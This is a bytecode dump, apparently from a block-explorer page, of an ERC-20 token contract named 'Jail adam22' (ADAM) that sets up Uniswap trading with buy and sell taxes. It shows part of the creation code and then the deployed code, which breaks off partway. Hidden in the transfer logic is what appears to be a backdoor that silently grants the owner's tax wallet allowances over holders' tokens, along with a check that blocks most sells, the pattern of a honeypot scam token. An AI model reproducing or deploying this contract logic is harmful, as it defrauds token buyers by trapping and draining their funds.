fffff16565b90505b5f60115411156114a3576114a060646114926010548561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561154c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115fa576115e060646115d2600d54601154116115bf576009546115c3565b600b545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b905060115f8154809291906115f490612e0c565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561168257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116c6576116c360646116b5600e54601154116116a257600a546116a6565b600c545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b5f6116d030610719565b9050601360159054906101000a900460ff1615801561173b575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117535750601360169054906101000a900460ff165b80156117625750600f54601154115b156117b75760075481111561178f5761178e6117898461178484600854612240565b612240565b611e0f565b5b6117984761207a565b60145f8154809291906117aa90612e0c565b9190505550436015819055505b505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611862575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611afd575f600267ffffffffffffffff81111561188357611882612e53565b5b6040519080825280602002602001820160405280156118b15781602001602082028036833780820191505090505b50905030816001815181106118c9576118c8612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561196d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119919190612a8f565b815f815181106119a4576119a3612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600267ffffffffffffffff8111156119fa576119f9612e53565b5b604051908082528060200260200182016040528015611a285781602001602082028036833780820191505090505b50905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f68022b1c8c1227a00000846040518363ffffffff1660e01b8152600401611a90929190612f9d565b5f60405180830381865afa158015611aaa573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611ad291906130de565b905080600181518110611ae857611ae7612e80565b5b60200260200101518410611afa575f80fd5b50505b5f811115611bfc57611b558160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bf39190612696565b60405180910390a35b611c4c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122b590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cef611ca382846122b590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d9284866122b590919063ffffffff16565b604051611d9f9190612696565b60405180910390a350505050565b5f838311158290611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9190612558565b60405180910390fd5b505f8385611e029190613125565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611e4657611e45612e53565b5b604051908082528060200260200182016040528015611e745781602001602082028036833780820191505090505b50905030815f81518110611e8b57611e8a612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f2f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f539190612a8f565b81600181518110611f6757611f66612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fcd3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ce565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161202f959493929190613158565b5f604051808303815f87803b158015612046575f80fd5b505af1158015612058573d5f803e3d5ffd5b50505050505f601360156101000a81548160ff02191690831515021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156120de573d5f803e3d5ffd5b5050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361211f5760019050612179565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361215b5760019050612179565b5f820361216b5760019050612179565b6121768484846122fe565b90505b9392505050565b5f808303612190575f90506121f1565b5f828461219d919061296a565b90508284826121ac91906131dd565b146121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39061327d565b60405180910390fd5b809150505b92915050565b5f61223883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061246d565b905092915050565b5f81831161224e5782612250565b815b905092915050565b5f808284612266919061329b565b9050838110156122ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122a290613318565b60405180910390fd5b8091505092915050565b5f6122f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dad565b905092915050565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806123e0575061dead73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123df575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b5b15612463578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5f90509392505050565b5f80831182906124b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124aa9190612558565b60405180910390fd5b505f83856124c191906131dd565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156125055780820151818401526020810190506124ea565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61252a826124ce565b61253481856124d8565b93506125448185602086016124e8565b61254d81612510565b840191505092915050565b5f6020820190508181035f8301526125708184612520565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6125b282612589565b9050919050565b6125c2816125a8565b81146125cc575f80fd5b50565b5f813590506125dd816125b9565b92915050565b5f819050919050565b6125f5816125e3565b81146125ff575f80fd5b50565b5f81359050612610816125ec565b92915050565b5f806040838503121561262c5761262b612581565b5b5f612639858286016125cf565b925050602061264a85828601612602565b9150509250929050565b5f8115159050919050565b61266881612654565b82525050565b5f6020820190506126815f83018461265f565b92915050565b612690816125e3565b82525050565b5f6020820190506126a95f830184612687565b92915050565b5f805f606084860312156126c6576126c5612581565b5b5f6126d3868287016125cf565b93505060206126e4868287016125cf565b92505060406126f586828701612602565b9150509250925092565b5f60ff82169050919050565b612714816126ff565b82525050565b5f60208201905061272d5f83018461270b565b92915050565b5f6020828403121561274857612747612581565b5b5f612755848285016125cf565b91505092915050565b612767816125a8565b82525050565b5f6020820190506127805f83018461275e565b92915050565b5f806040838503121561279c5761279b612581565b5b5f6127a9858286016125cf565b92505060206127ba858286016125cf565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561284657808604811115612822576128216127c4565b5b60018516156128315780820291505b808102905061283f856127f1565b9450612806565b94509492505050565b5f8261285e5760019050612919565b8161286b575f9050612919565b8160018114612881576002811461288b576128ba565b6001915050612919565b60ff84111561289d5761289c6127c4565b5b8360020a9150848211156128b4576128b36127c4565b5b50612919565b5060208310610133831016604e8410600b84101617156128ef5782820a9050838111156128ea576128e96127c4565b5b612919565b6128fc84848460016127fd565b92509050818404811115612913576129126127c4565b5b81810290505b9392505050565b5f61292a826125e3565b9150612935836126ff565b92506129627fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461284f565b905092915050565b5f612974826125e3565b915061297f836125e3565b925082820261298d816125e3565b915082820484148315176129a4576129a36127c4565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6129df6020836124d8565b91506129ea826129ab565b602082019050919050565b5f6020820190508181035f830152612a0c816129d3565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612a476017836124d8565b9150612a5282612a13565b602082019050919050565b5f6020820190508181035f830152612a7481612a3b565b9050919050565b5f81519050612a89816125b9565b92915050565b5f60208284031215612aa457612aa3612581565b5b5f612ab184828501612a7b565b91505092915050565b5f604082019050612acd5f83018561275e565b612ada602083018461275e565b9392505050565b5f819050919050565b5f819050919050565b5f612b0d612b08612b0384612ae1565b612aea565b6125e3565b9050919050565b612b1d81612af3565b82525050565b5f60c082019050612b365f83018961275e565b612b436020830188612687565b612b506040830187612b14565b612b5d6060830186612b14565b612b6a608083018561275e565b612b7760a0830184612687565b979650505050505050565b5f81519050612b90816125ec565b92915050565b5f805f60608486031215612bad57612bac612581565b5b5f612bba86828701612b82565b9350506020612bcb86828701612b82565b9250506040612bdc86828701612b82565b9150509250925092565b5f604082019050612bf95f83018561275e565b612c066020830184612687565b9392505050565b612c1681612654565b8114612c20575f80fd5b50565b5f81519050612c3181612c0d565b92915050565b5f60208284031215612c4c57612c4b612581565b5b5f612c5984828501612c23565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612cbc6024836124d8565b9150612cc782612c62565b604082019050919050565b5f6020820190508181035f830152612ce981612cb0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612d4a6022836124d8565b9150612d5582612cf0565b604082019050919050565b5f6020820190508181035f830152612d7781612d3e565b9050919050565b7f45524332303a20756e61626c6520746f207472616e7366657220746f207a65725f8201527f6f20616464726573730000000000000000000000000000000000000000000000602082015250565b5f612dd86029836124d8565b9150612de382612d7e565b604082019050919050565b5f6020820190508181035f830152612e0581612dcc565b9050919050565b5f612e16826125e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612e4857612e476127c4565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f612ed0612ecb612ec684612ead565b612aea565b6125e3565b9050919050565b612ee081612eb6565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612f18816125a8565b82525050565b5f612f298383612f0f565b60208301905092915050565b5f602082019050919050565b5f612f4b82612ee6565b612f558185612ef0565b9350612f6083612f00565b805f5b83811015612f90578151612f778882612f1e565b9750612f8283612f35565b925050600181019050612f63565b5085935050505092915050565b5f604082019050612fb05f830185612ed7565b8181036020830152612fc28184612f41565b90509392505050565b5f80fd5b612fd882612510565b810181811067ffffffffffffffff82111715612ff757612ff6612e53565b5b80604052505050565b5f613009612578565b90506130158282612fcf565b919050565b5f67ffffffffffffffff82111561303457613033612e53565b5b602082029050602081019050919050565b5f80fd5b5f61305b6130568461301a565b613000565b9050808382526020820190506020840283018581111561307e5761307d613045565b5b835b818110156130a757806130938882612b82565b845260208401935050602081019050613080565b5050509392505050565b5f82601f8301126130c5576130c4612fcb565b5b81516130d5848260208601613049565b91505092915050565b5f602082840312156130f3576130f2612581565b5b5f82015167ffffffffffffffff8111156131105761310f612585565b5b61311c848285016130b1565b91505092915050565b5f61312f826125e3565b915061313a836125e3565b9250828203905081811115613152576131516127c4565b5b92915050565b5f60a08201905061316b5f830188612687565b6131786020830187612b14565b818103604083015261318a8186612f41565b9050613199606083018561275e565b6131a66080830184612687565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6131e7826125e3565b91506131f2836125e3565b925082613202576132016131b0565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132676021836124d8565b91506132728261320d565b604082019050919050565b5f6020820190508181035f8301526132948161325b565b9050919050565b5f6132a5826125e3565b91506132b0836125e3565b92508282019050808211156132c8576132c76127c4565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613302601b836124d8565b915061330d826132ce565b602082019050919050565b5f6020820190508181035f83015261332f816132f6565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a55b6ff02052c4d072a8ec29a07d03a584f3660a2583e2c1b82338f93a40ee464736f6c63430008180033

Deployed Bytecode

0x608060405260043610610122575f3560e01c8063751039fc1161009f578063a9059cbb11610063578063a9059cbb1461039b578063bf474bed146103d7578063dd62ed3e14610401578063e16f7b711461043d578063f42938901461045357610129565b8063751039fc146102dd5780637d1db4a5146102f35780638da5cb5b1461031d5780638f9a55c01461034757806395d89b411461037157610129565b8063313ce567116100e6578063313ce5671461022357806351bc3c851461024d57806354a0ed521461026357806370a082311461028b578063715018a6146102c757610129565b806306fdde031461012d578063095ea7b3146101575780630faee56f1461019357806318160ddd146101bd57806323b872dd146101e757610129565b3661012957005b5f80fd5b348015610138575f80fd5b50610141610469565b60405161014e9190612558565b60405180910390f35b348015610162575f80fd5b5061017d60048036038101906101789190612616565b6104a6565b60405161018a919061266e565b60405180910390f35b34801561019e575f80fd5b506101a76104c3565b6040516101b49190612696565b60405180910390f35b3480156101c8575f80fd5b506101d16104c9565b6040516101de9190612696565b60405180910390f35b3480156101f2575f80fd5b5061020d600480360381019061020891906126af565b6104ec565b60405161021a919061266e565b60405180910390f35b34801561022e575f80fd5b506102376105c0565b604051610244919061271a565b60405180910390f35b348015610258575f80fd5b506102616105c8565b005b34801561026e575f80fd5b5061028960048036038101906102849190612733565b610677565b005b348015610296575f80fd5b506102b160048036038101906102ac9190612733565b610719565b6040516102be9190612696565b60405180910390f35b3480156102d2575f80fd5b506102db61075f565b005b3480156102e8575f80fd5b506102f16108ad565b005b3480156102fe575f80fd5b506103076109e3565b6040516103149190612696565b60405180910390f35b348015610328575f80fd5b506103316109e9565b60405161033e919061276d565b60405180910390f35b348015610352575f80fd5b5061035b610a10565b6040516103689190612696565b60405180910390f35b34801561037c575f80fd5b50610385610a16565b6040516103929190612558565b60405180910390f35b3480156103a6575f80fd5b506103c160048036038101906103bc9190612616565b610a53565b6040516103ce919061266e565b60405180910390f35b3480156103e2575f80fd5b506103eb610a70565b6040516103f89190612696565b60405180910390f35b34801561040c575f80fd5b5061042760048036038101906104229190612786565b610a76565b6040516104349190612696565b60405180910390f35b348015610448575f80fd5b50610451610af8565b005b34801561045e575f80fd5b5061046761101a565b005b60606040518060400160405280600b81526020017f4a61696c206164616d3232000000000000000000000000000000000000000000815250905090565b5f6104b96104b26110c7565b84846110ce565b6001905092915050565b60085481565b5f6009600a6104d89190612920565b633b9aca006104e7919061296a565b905090565b5f6104f8848484611291565b6105b5846105046110c7565b6105b0856040518060600160405280602881526020016133376028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105676110c7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611dad9092919063ffffffff16565b6110ce565b600190509392505050565b5f6009905090565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106086110c7565b73ffffffffffffffffffffffffffffffffffffffff1614610627575f80fd5b5f61063130610719565b90505f8111801561064e5750601360169054906101000a900460ff165b1561065d5761065c81611e0f565b5b5f4790505f811115610673576106728161207a565b5b5050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106b76110c7565b73ffffffffffffffffffffffffffffffffffffffff16146106d6575f80fd5b8060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107676110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ea906129f5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108b56110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610941576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610938906129f5565b60405180910390fd5b6009600a61094f9190612920565b633b9aca0061095e919061296a565b6005819055505f6010819055506009600a6109799190612920565b633b9aca00610988919061296a565b6006819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109bd9190612920565b633b9aca006109cc919061296a565b6040516109d99190612696565b60405180910390a1565b60055481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60065481565b60606040518060400160405280600481526020017f4144414d00000000000000000000000000000000000000000000000000000000815250905090565b5f610a66610a5f6110c7565b8484611291565b6001905092915050565b60075481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610b006110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b83906129f5565b60405180910390fd5b601360149054906101000a900460ff1615610bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd390612a5d565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c783060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c649190612920565b633b9aca00610c73919061296a565b6110ce565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ce2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d069190612a8f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d8c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db09190612a8f565b6040518363ffffffff1660e01b8152600401610dcd929190612aba565b6020604051808303815f875af1158015610de9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e0d9190612a8f565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e9430610719565b5f80610e9e6109e9565b426040518863ffffffff1660e01b8152600401610ec096959493929190612b23565b60606040518083038185885af1158015610edc573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f019190612b96565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fa1929190612be6565b6020604051808303815f875af1158015610fbd573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe19190612c37565b506001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b6110226110c7565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a5906129f5565b60405180910390fd5b5f4790505f8111156110c4576110c38161207a565b5b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390612cd2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612d60565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112849190612696565b60405180910390a3505050565b5f151561129f8484846120e2565b1515146112e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d890612dee565b60405180910390fd5b5f6112ea6109e9565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561135857506113286109e9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113b1575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113e957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561142157503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117b9575f6011540361146e5761146b606461145d600d546011541161144a5760095461144e565b600b545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b5f60115411156114a3576114a060646114926010548561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561154c575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561159f575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115fa576115e060646115d2600d54601154116115bf576009546115c3565b600b545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b905060115f8154809291906115f490612e0c565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561168257503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156116c6576116c360646116b5600e54601154116116a257600a546116a6565b600c545b8561218090919063ffffffff16565b6121f790919063ffffffff16565b90505b5f6116d030610719565b9050601360159054906101000a900460ff1615801561173b575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156117535750601360169054906101000a900460ff165b80156117625750600f54601154115b156117b75760075481111561178f5761178e6117898461178484600854612240565b612240565b611e0f565b5b6117984761207a565b60145f8154809291906117aa90612e0c565b9190505550436015819055505b505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611862575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611afd575f600267ffffffffffffffff81111561188357611882612e53565b5b6040519080825280602002602001820160405280156118b15781602001602082028036833780820191505090505b50905030816001815181106118c9576118c8612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561196d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119919190612a8f565b815f815181106119a4576119a3612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f600267ffffffffffffffff8111156119fa576119f9612e53565b5b604051908082528060200260200182016040528015611a285781602001602082028036833780820191505090505b50905060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f68022b1c8c1227a00000846040518363ffffffff1660e01b8152600401611a90929190612f9d565b5f60405180830381865afa158015611aaa573d5f803e3d5ffd5b505050506040513d5f823e3d601f19601f82011682018060405250810190611ad291906130de565b905080600181518110611ae857611ae7612e80565b5b60200260200101518410611afa575f80fd5b50505b5f811115611bfc57611b558160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bf39190612696565b60405180910390a35b611c4c8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122b590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611cef611ca382846122b590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461225890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d9284866122b590919063ffffffff16565b604051611d9f9190612696565b60405180910390a350505050565b5f838311158290611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9190612558565b60405180910390fd5b505f8385611e029190613125565b9050809150509392505050565b6001601360156101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611e4657611e45612e53565b5b604051908082528060200260200182016040528015611e745781602001602082028036833780820191505090505b50905030815f81518110611e8b57611e8a612e80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f2f